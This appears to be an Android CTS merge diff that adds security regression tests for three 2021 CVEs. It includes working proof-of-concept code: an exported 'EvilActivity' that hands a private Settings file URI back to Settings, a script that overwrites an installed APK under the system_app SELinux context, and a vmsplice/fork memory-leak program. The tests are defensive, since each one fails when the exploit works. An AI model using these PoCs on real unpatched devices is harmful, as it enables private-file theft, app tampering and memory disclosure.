Merge "STS refactor @SecurityTest" into qt-dev
diff --git a/hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/Android.bp b/hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/Android.bp
index 400615a..5af5618 100644
--- a/hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/Android.bp
@@ -30,6 +30,7 @@
"androidx.test.core",
"androidx.test.rules",
"ctstestrunner-axt",
+ "compatibility-device-util-axt",
],
platform_apis: true,
min_sdk_version: "29",
diff --git a/hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/src/com/android/cts/rolesecuritytest/DeviceTest.java b/hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/src/com/android/cts/rolesecuritytest/DeviceTest.java
index aee23f3..7715674 100644
--- a/hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/src/com/android/cts/rolesecuritytest/DeviceTest.java
+++ b/hostsidetests/appsecurity/test-apps/RoleSecurityTestApp/src/com/android/cts/rolesecuritytest/DeviceTest.java
@@ -18,25 +18,42 @@
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assume.*;
+import android.app.Instrumentation;
import android.app.role.RoleManager;
import android.content.Context;
import android.os.Build;
import android.os.UserHandle;
import androidx.test.core.app.ApplicationProvider;
+import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.mainline.MainlineModule;
+import com.android.compatibility.common.util.mainline.ModuleDetector;
+
import java.lang.reflect.Field;
import java.lang.reflect.Method;
+import org.junit.Before;
import org.junit.runner.RunWith;
import org.junit.Test;
@RunWith(AndroidJUnit4.class)
public class DeviceTest {
+ private Instrumentation mInstrumentation;
+
+ @Before
+ public void setup() {
+ mInstrumentation = InstrumentationRegistry.getInstrumentation();
+ }
+
@Test
public void cannotGetSmsRoleHolderForAnotherUser() throws Exception {
+ assumeFalse(ModuleDetector
+ .moduleIsPlayManaged(getInstrumentation().getContext().getPackageManager(),
+ MainlineModule.PERMISSION_CONTROLLER));
assertNotEquals("This test should be run in a secondary user", UserHandle.USER_SYSTEM,
UserHandle.myUserId());
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.Q) {
@@ -59,4 +76,8 @@
}
assertFalse("Exploit succeeded", exploitSuccessful);
}
+
+ private Instrumentation getInstrumentation() {
+ return mInstrumentation;
+ }
}
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0481.txt b/hostsidetests/securitybulletin/res/cve_2021_0481.txt
new file mode 100644
index 0000000..f8d64e2
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_0481.txt
@@ -0,0 +1 @@
+This is cve_2021-0481.txt
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0691.sh b/hostsidetests/securitybulletin/res/cve_2021_0691.sh
new file mode 100644
index 0000000..f0baada
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_0691.sh
@@ -0,0 +1,6 @@
+#!/bin/sh
+echo -n 'u:r:system_app:s0' > /proc/self/attr/current
+cd $1
+ls -l base.apk
+echo aaa > base.apk
+ls -l base.apk
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
new file mode 100644
index 0000000..7b410b7
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2021-29368",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: ["poc.cpp",],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/poc.cpp
new file mode 100644
index 0000000..1b3528c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/poc.cpp
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#if !defined _GNU_SOURCE
+#define _GNU_SOURCE
+#endif
+
+#include <err.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/uio.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+#include "../includes/common.h"
+
+#define SYSCHK(x) \
+ ({ \
+ typeof(x) __res = (x); \
+ if (__res == (typeof(x)) - 1) err(1, "SYSCHK(" #x ")"); \
+ __res; \
+ })
+
+static char *data;
+
+static int child_fn(void) {
+ int pipe_fds[2];
+ SYSCHK(pipe(pipe_fds));
+ struct iovec iov = {.iov_base = data, .iov_len = 0x1000};
+ SYSCHK(vmsplice(pipe_fds[1], &iov, 1, 0));
+ SYSCHK(munmap(data, 0x1000));
+ sleep(2);
+ char buf[0x1000];
+ SYSCHK(read(pipe_fds[0], buf, 0x1000));
+ printf("read string from child: %s\n", buf);
+
+ // check if buf has been altered by parent process
+ if (strcmp("BORING DATA", buf) == 0) {
+ return EXIT_SUCCESS;
+ }
+ if (strcmp("THIS IS SECRET", buf) == 0) {
+ return EXIT_VULNERABLE;
+ }
+ return EXIT_FAILURE;
+}
+
+int main(void) {
+ if (posix_memalign((void **)&data, 0x1000, 0x1000)) errx(1, "posix_memalign()");
+ strcpy(data, "BORING DATA");
+
+ pid_t child = SYSCHK(fork());
+ if (child == 0) {
+ exit(child_fn());
+ }
+
+ sleep(1);
+ strcpy(data, "THIS IS SECRET");
+
+ int status;
+ SYSCHK(waitpid(child, &status, 0));
+ printf("child WEXITSTATUS(status) => %d\n", WEXITSTATUS(status));
+ return WEXITSTATUS(status);
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
new file mode 100644
index 0000000..81e559a
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeInstant;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.*;
+import static org.hamcrest.CoreMatchers.*;
+
+/**
+ * Test that collects test results from test package android.security.cts.CVE_2021_0481.
+ *
+ * When this test builds, it also builds a support APK containing
+ * {@link android.sample.cts.CVE_2021_0481.SampleDeviceTest}, the results of which are
+ * collected from the hostside and reported accordingly.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0481 extends BaseHostJUnit4Test {
+ private static final String TEST_PKG = "android.security.cts.CVE_2021_0481";
+ private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+ private static final String TEST_APP = "CVE-2021-0481.apk";
+
+ private static final String DEVICE_DIR1 = "/data/user_de/0/com.android.settings/shared_prefs/";
+ private static final String DEVICE_DIR2 = "/data/user_de/0/com.android.settings/cache/";
+
+ //defined originally as
+ //private static final String TAKE_PICTURE_FILE_NAME = "TakeEditUserPhoto2.jpg";
+ //in com.android.settings.users.EditUserPhotoController class
+ private static final String TAKE_PICTURE_FILE_NAME = "TakeEditUserPhoto2.jpg";
+ private static final String TEST_FILE_NAME = "cve_2021_0481.txt";
+
+ @Before
+ public void setUp() throws Exception {
+ uninstallPackage(getDevice(), TEST_PKG);
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 172939189)
+ @AppModeFull
+ public void testRunDeviceTest() throws Exception {
+ AdbUtils.pushResource("/" + TEST_FILE_NAME, DEVICE_DIR1 + TEST_FILE_NAME, getDevice());
+ String cmd = "rm " + DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME;
+ AdbUtils.runCommandLine(cmd, getDevice());
+
+ installPackage();
+
+ //ensure the screen is woken up.
+ //(we need to do this twice. once wakes up the screen, and another unlocks the lock screen)
+ getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
+ getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
+ Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testUserPhotoSetUp"));
+
+ //Check if TEST_FILE_NAME has been copied by "Evil activity"
+ //If the file has been copied then it means the vulnerability is active so the test fails.
+ cmd = "cmp -s " + DEVICE_DIR1 + TEST_FILE_NAME + " " + DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME + "; echo $?";
+ String result = AdbUtils.runCommandLine(cmd, getDevice()).trim();
+ CLog.i(cmd + " -->" + result);
+ assertThat(result, not(is("0")));
+ }
+
+ private void installPackage() throws Exception {
+ installPackage(TEST_APP, new String[0]);
+ }
+}
+
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java
new file mode 100644
index 0000000..9b592bd
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeInstant;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.*;
+import static org.hamcrest.CoreMatchers.*;
+
+/**
+ * Test installs sample app and then tries to overwrite *.apk file
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0691 extends BaseHostJUnit4Test {
+ private static final String TEST_PKG = "android.security.cts.CVE_2021_0691";
+ private static final String TEST_APP = "CVE-2021-0691.apk";
+ private static final String DEVICE_TMP_DIR = "/data/local/tmp/";
+ private static final String DEVICE_APP_DIR = "/data/app/";
+ private static final String SCRIPT_NAME = "cve_2021_0691.sh";
+
+ @Before
+ public void setUp() throws Exception {
+ uninstallPackage(getDevice(), TEST_PKG);
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 188554048)
+ @AppModeFull
+ public void testRunDeviceTest() throws Exception {
+ String cmd;
+ String result;
+
+ //push repro script and install test app
+ AdbUtils.pushResource("/" + SCRIPT_NAME, DEVICE_TMP_DIR + SCRIPT_NAME, getDevice());
+ AdbUtils.runCommandLine("chmod +x " + DEVICE_TMP_DIR + SCRIPT_NAME, getDevice());
+ installPackage();
+
+ //see repro script in log
+ cmd = "cd " + DEVICE_TMP_DIR + "; cat " + SCRIPT_NAME;
+ CLog.i("repro script: " + cmd);
+ CLog.i(AdbUtils.runCommandLine(cmd, getDevice()));
+
+ /*
+ look for a location of test package dir
+ for example: /data/app/
+ ~~stRisM1TaNKYDnrHq9PHJg==/android.security.cts.CVE_2021_0691-borrWKTczXhO86vR9vwNJg==
+ */
+ cmd = "find " + DEVICE_APP_DIR + " -name \"*" + TEST_PKG + "*==\"";
+ String appDir = AdbUtils.runCommandLine(cmd, getDevice()).trim();
+ CLog.i("look for appDir: " + cmd);
+ CLog.i("appDir=" + appDir);
+
+ //run repro steps as 'system' user (su 1000)
+ cmd = "su 1000 " + DEVICE_TMP_DIR + SCRIPT_NAME + " " + appDir;
+ result = AdbUtils.runCommandLine(cmd, getDevice());
+ CLog.i("command: " + cmd);
+ CLog.i("result: " + result);
+
+ //compare base.apk against aaa
+ //if differs test passes
+ cmd = "echo aaa | cmp -s " + appDir + "/base.apk; echo $?";
+ result = AdbUtils.runCommandLine(cmd, getDevice()).trim();
+ CLog.i("command: " + cmd);
+ CLog.i("result: " + result);
+ assertThat(result, not(is("0")));
+ }
+
+ private void installPackage() throws Exception {
+ installPackage(TEST_APP, new String[0]);
+ }
+}
+
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
new file mode 100644
index 0000000..e5a739f
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_29368 extends SecurityTestCase {
+
+ /**
+ * b/174738029
+ *
+ */
+ @AsbSecurityTest(cveBugId = 174738029)
+ @Test
+ public void testPocCVE_2021_29368() throws Exception {
+ assertFalse(AdbUtils.runPocCheckExitCode("CVE-2021-29368", getDevice(),60));
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp
new file mode 100644
index 0000000..db36d6f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CVE-2021-0481",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ test_suites: [
+ "cts",
+ "vts10",
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
+ "androidx.appcompat_appcompat",
+ ],
+ sdk_version: "current",
+}
+
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/AndroidManifest.xml
new file mode 100644
index 0000000..eb4890b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/AndroidManifest.xml
@@ -0,0 +1,56 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ package="android.security.cts.CVE_2021_0481"
+ android:targetSandboxVersion="2">
+
+ <application>
+ <uses-library android:name="android.test.runner"/>
+
+ <activity android:name=".EvilActivity" android:exported="true">
+ <intent-filter android:priority="100">
+ <action android:name="android.intent.action.OPEN_DOCUMENT"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ <category android:name="android.intent.category.OPENABLE"/>
+ <data android:mimeType="*/*"/>
+ </intent-filter>
+ <intent-filter android:priority="100">
+ <action android:name="android.intent.action.CREATE_DOCUMENT"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ <category android:name="android.intent.category.OPENABLE"/>
+ <data android:mimeType="*/*"/>
+ </intent-filter>
+ <intent-filter android:priority="100">
+ <action android:name="android.intent.action.GET_CONTENT"/>
+ <category android:name="android.intent.category.OPENABLE"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ <data android:mimeType="*/*"/>
+ </intent-filter>
+ <intent-filter android:priority="100">
+ <action android:name="android.intent.action.OPEN_DOCUMENT_TREE"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ </intent-filter>
+ </activity>
+
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_0481" />
+
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java
new file mode 100644
index 0000000..9103c96
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java
@@ -0,0 +1,192 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0481;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.SystemClock;
+import android.util.Log;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import androidx.test.filters.SdkSuppress;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+import androidx.test.uiautomator.BySelector;
+
+import java.util.List;
+
+import static org.hamcrest.CoreMatchers.equalTo;
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.CoreMatchers.notNullValue;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+
+/**
+ * launch "Settings" app
+ * set up user photo
+ */
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ class ClickableNotFound extends Exception{
+ public ClickableNotFound(String s){
+ super(s);
+ }
+ }
+
+ private static final String BASIC_SAMPLE_PACKAGE
+ = "android.security.cts.CVE_2021_0481";
+ private static final int LAUNCH_TIMEOUT_MS = 20000;
+ private static final String TAG = "TAG_2021_0481";
+ private static final int IS_FOUND_FLAG = 1; // 0001
+ private static final int IS_CHECKED_FLAG = 2; // 0010
+ private UiDevice mDevice;
+
+ @Test
+ public void testUserPhotoSetUp() {
+
+ //set mDevice and go to homescreen
+ mDevice = UiDevice.getInstance(getInstrumentation());
+ mDevice.pressHome();
+
+ //start "Settings" app
+ Intent myIntent = new Intent("android.settings.USER_SETTINGS");
+ //android.provider.Settings.ACTION_USER_SETTINGS
+ myIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ try{
+ getApplicationContext().startActivity(myIntent);
+ } catch(android.content.ActivityNotFoundException e){
+ Log.d(TAG, "Activity to be tested doesn't exist. Test will pass.");
+ return;
+ }
+
+ //wait for "User Settings" activity to appear.
+ SystemClock.sleep(6000);
+
+ //perform UI test steps
+ try {
+
+ //in "Multiple users" activity showing "Use multiple users" switch
+ searchAndClick(mDevice, "android:id/switch_widget", 2000);
+
+ //in "Multiple users" activity showing a list of current users,
+ //look for the first item "android:id/title" on the list showing "You(Owner)"
+ searchAndClick(mDevice, "android:id/title", 2000);
+
+ //in "Profile Info" dialog window showing clickable user silhouette
+ //look for clickable android.widget.ImageView object with attributes:
+ // getContentDescription()=Select photo
+ // getResourceName()=com.android.settings:id/user_photo
+ searchAndClick(mDevice, "com.android.settings:id/user_photo", 2000);
+
+ //in unnamed subdialog showing two options: "Take a photo" "Choose an image"
+ searchAndClick(mDevice, "Choose an image", 6000);
+
+ //in "Browse Files in Other Apps" activity
+ searchAndClick(mDevice, "android.security.cts.CVE_2021_0481.EvilActivity", 5000);
+ } catch (ClickableNotFound e){
+ Log.d(TAG, e.toString());
+ assumeNoException(e);
+ }
+ Log.d(TAG, "end of testUserPhotoSetUp()");
+ }
+
+ //see what is on screen and click on object containing name
+ //throw exception if object not found
+ private void searchAndClick(UiDevice mDevice, String name, int timeOut) throws ClickableNotFound {
+
+ int ret;
+ List<UiObject2> objects = mDevice.findObjects(By.clickable(true));
+ boolean found = false;
+ Log.d(TAG, "looking for " + name);
+ Log.d(TAG, "found " + String.valueOf(objects!=null ? objects.size() : 0) + " clickables");
+
+ if(objects != null){
+ for (UiObject2 o : objects) {
+ if((ret=searchAndLog(o, name, "")) !=0 )
+ {
+ found=true;
+ Log.d(TAG, name + " found");
+ if((ret & IS_CHECKED_FLAG) == 0) {
+ o.click();
+ Log.d(TAG, name + " clicked");
+ SystemClock.sleep(timeOut); //wait for click result to appear onscreen
+ }
+ break; //to avoid androidx.test.uiautomator.StaleObjectException
+ }
+ }
+ }
+ if(!found) {
+ throw new ClickableNotFound("\"" + name + "\" not found to click on");
+ }
+ }
+
+ //Search for 'name' in UiObject2
+ //returns int flags showing search result:
+ // IS_CHECKED_FLAG - 'name' matches o.getResourceName() and o.isSelected()==true
+ // IS_FOUND_FLAG - 'name' matches anything else
+ private int searchAndLog(UiObject2 o, String name, String prefix){
+
+ int ret = 0;
+ String lname = o.getText();
+ String cname = o.getClassName();
+ String cdesc = o.getContentDescription();
+ String rname = o.getResourceName();
+ boolean checked = o.isChecked();
+
+ Log.d(TAG, prefix + "class=" + cname);
+ Log.d(TAG, prefix + "o.getText()=" + lname);
+ Log.d(TAG, prefix + "o.getContentDescription()=" + cdesc);
+ Log.d(TAG, prefix + "o.getResourceName()=" + rname);
+ Log.d(TAG, prefix + "o.getChildCount()=" + o.getChildCount());
+
+ if( rname != null && rname.equals(name) && checked) {
+ ret |= IS_CHECKED_FLAG;
+ }
+ else if(lname != null && lname.equals(name) || cdesc != null && cdesc.equals(name) || rname != null && rname.equals(name) ) {
+ ret |= IS_FOUND_FLAG;
+ }
+
+ if(ret != 0) {
+ Log.d(TAG, prefix + "found-->" + name);
+ return ret;
+ } else {
+ java.util.List<UiObject2> objects2 = o.getChildren();
+ if(objects2 != null && objects2.size() > 0 && prefix.length() < 50) {
+ for (UiObject2 o2 : objects2) {
+ if((ret=searchAndLog(o2, name, prefix + "__")) != 0){
+ return ret;
+ }
+ }
+ }
+ }
+ return ret;
+ }
+
+}
+
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/EvilActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/EvilActivity.java
new file mode 100644
index 0000000..92f0ec3
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/EvilActivity.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts.CVE_2021_0481;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+import android.util.Log;
+
+import androidx.annotation.Nullable;
+import androidx.appcompat.app.AppCompatActivity;
+
+public class EvilActivity extends Activity {
+
+ final static String PRIVATE_URI = "file:///data/user_de/0/com.android.settings/shared_prefs/cve_2021_0481.txt";
+ private static final String TAG = "TAG_2021_0481";
+ @Override
+ protected void onCreate(@Nullable Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ Log.d(TAG, "EvilActivity started!");
+ setResult(-1, new Intent().setData(Uri.parse(PRIVATE_URI)));
+ finish();
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0691/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0691/Android.bp
new file mode 100644
index 0000000..0028642
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0691/Android.bp
@@ -0,0 +1,26 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CVE-2021-0691",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ test_suites: [
+ "cts",
+ "vts10",
+ "sts",
+ ],
+ sdk_version: "current",
+}
+
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0691/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0691/AndroidManifest.xml
new file mode 100644
index 0000000..1a83c8e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0691/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ package="android.security.cts.CVE_2021_0691"
+ android:targetSandboxVersion="2">
+
+ <application>
+ <uses-library android:name="android.test.runner"/>
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_0691" />
+
+</manifest>
diff --git a/tests/tests/content/AndroidTest.xml b/tests/tests/content/AndroidTest.xml
index 418c201..3b398ef 100644
--- a/tests/tests/content/AndroidTest.xml
+++ b/tests/tests/content/AndroidTest.xml
@@ -33,6 +33,7 @@
<option name="cleanup" value="true" />
<option name="push" value="CtsContentTestCases.apk->/data/local/tmp/cts/content/CtsContentTestCases.apk" />
